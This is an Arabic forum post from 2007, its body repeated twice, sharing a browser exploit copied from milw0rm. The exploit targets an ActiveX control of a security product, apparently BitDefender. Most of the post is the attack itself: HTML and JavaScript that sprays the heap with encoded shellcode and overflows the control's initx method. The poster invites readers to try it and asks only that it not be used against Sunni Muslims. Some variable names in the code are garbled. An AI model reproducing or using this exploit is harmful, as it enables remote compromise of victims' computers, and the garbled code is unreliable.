المــــــــــلك
28-11-2007, 05:01
بســــــــم اللـــــــه الرحمن الرحيم
((
اولا حاب اقولكم مافي نظام او حماية مضمونه 100% ومافي كـــامل غير وجه اللــــه
))
نخش بالمووضع...........
هذي ثغره جديده او زي مايقوولن خطاء يسببه البرنامج الي حصل على اعلى الجوائز لعاميين 2005_2006|28|
ومن خلال هذاا الخطا بأمكانك اختراق واستغلال اي نظام يضع هالبرنامج او ممكن خذف البرنامج ومازال فيه ملفات لم تحذف
الثغره بلغة html
يعني سهله
مايبيلـــــهااا شـــــرح
الثغـــــره
<html>
<object classid='clsid:5D86DDB5-BDF9-441B-9E9E-D4730F4EE499' id='BD'>
</object>
<script language="javascript">
SCPL = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
Mem&@#&@#&@#&@#&@#&@#&@# = unescape("%u0606");
HSize = 20;
FreeSpace = HSize+SCPL.length
while (Mem&@#&@#&@#&@#&@#&@#&@#.length<FreeSpace)
{
Mem&@#&@#&@#&@#&@#&@#&@#+=Mem&@#&@#&@#&@#&@#&@#&@#;
}
FB = Mem&@#&@#&@#&@#&@#&@#&@#.substring(0, FreeSpace);
Mem = Mem&@#&@#&@#&@#&@#&@#&@#.substring(0, Mem&@#&@#&@#&@#&@#&@#&@#.length-FreeSpace);
while(Mem.length+FreeSpace<0x60000)
{
Mem = Mem+Mem+FB;
}
memory = new Array();
for (x=0;x<600;x++) memory[x] = Mem + SCPL;
var SiteAuthority = '%%';
while (SiteAuthority.length < 60000)
{
SiteAuthority+='\x30\x36\x30\x36';
}
BD.initx(SiteAuthority);
</script>
</html>
وغــــير مـــايلزم
اتمنى ان لاتستخدمووووونة ضد المسلمـــــين من السنـــــه واما الباقي كيفكم :d
وانا غير مسؤل عن اي استخدام خاطئ
جــــــربووو الثغره وقووولولي ايش رايكــــــــم
من خبرتي المتواضعه ان الاجانب اكثر استخداما لهذي الحمايه من العرب|33|
المصدر http://www.milw0rm.com/exploits/4663
ودمتـــــــــــم بمحبـــــــــه
دعــــــــــواتكـــــــــمــ..............
((
اولا حاب اقولكم مافي نظام او حماية مضمونه 100% ومافي كـــامل غير وجه اللــــه
))
نخش بالمووضع...........
هذي ثغره جديده او زي مايقوولن خطاء يسببه البرنامج الي حصل على اعلى الجوائز لعاميين 2005_2006|28|
ومن خلال هذاا الخطا بأمكانك اختراق واستغلال اي نظام يضع هالبرنامج او ممكن خذف البرنامج ومازال فيه ملفات لم تحذف
الثغره بلغة html
يعني سهله
مايبيلـــــهااا شـــــرح
الثغـــــره
<html>
<object classid='clsid:5D86DDB5-BDF9-441B-9E9E-D4730F4EE499' id='BD'>
</object>
<script language="javascript">
SCPL = unescape("%u9090%u9090%u9090%uC929%uE983%uD9DB%uD9EE%u2474" +
"%u5BF4%u7381%uA913%u4A67%u83CC%uFCEB%uF4E2%u8F55" +
"%uCC0C%u67A9%u89C1%uEC95%uC936%u66D1%u47A5%u7FE6" +
"%u93C1%u6689%u2FA1%u2E87%uF8C1%u6622%uFDA4%uFE69" +
"%u48E6%u1369%u0D4D%u6A63%u0E4B%u9342%u9871%u638D" +
"%u2F3F%u3822%uCD6E%u0142%uC0C1%uECE2%uD015%u8CA8" +
"%uD0C1%u6622%u45A1%u43F5%u0F4E%uA798%u472E%u57E9" +
"%u0CCF%u68D1%u8CC1%uECA5%uD03A%uEC04%uC422%u6C40" +
"%uCC4A%uECA9%uF80A%u1BAC%uCC4A%uECA9%uF022%u56F6" +
"%uACBC%u8CFF%uA447%uBFD7%uBFA8%uFFC1%u46B4%u30A7" +
"%u2BB5%u8941%u33B5%u0456%uA02B%u49CA%uB42F%u67CC" +
"%uCC4A%uD0FF");
Mem&@#&@#&@#&@#&@#&@#&@# = unescape("%u0606");
HSize = 20;
FreeSpace = HSize+SCPL.length
while (Mem&@#&@#&@#&@#&@#&@#&@#.length<FreeSpace)
{
Mem&@#&@#&@#&@#&@#&@#&@#+=Mem&@#&@#&@#&@#&@#&@#&@#;
}
FB = Mem&@#&@#&@#&@#&@#&@#&@#.substring(0, FreeSpace);
Mem = Mem&@#&@#&@#&@#&@#&@#&@#.substring(0, Mem&@#&@#&@#&@#&@#&@#&@#.length-FreeSpace);
while(Mem.length+FreeSpace<0x60000)
{
Mem = Mem+Mem+FB;
}
memory = new Array();
for (x=0;x<600;x++) memory[x] = Mem + SCPL;
var SiteAuthority = '%%';
while (SiteAuthority.length < 60000)
{
SiteAuthority+='\x30\x36\x30\x36';
}
BD.initx(SiteAuthority);
</script>
</html>
وغــــير مـــايلزم
اتمنى ان لاتستخدمووووونة ضد المسلمـــــين من السنـــــه واما الباقي كيفكم :d
وانا غير مسؤل عن اي استخدام خاطئ
جــــــربووو الثغره وقووولولي ايش رايكــــــــم
من خبرتي المتواضعه ان الاجانب اكثر استخداما لهذي الحمايه من العرب|33|
المصدر http://www.milw0rm.com/exploits/4663
ودمتـــــــــــم بمحبـــــــــه
دعــــــــــواتكـــــــــمــ..............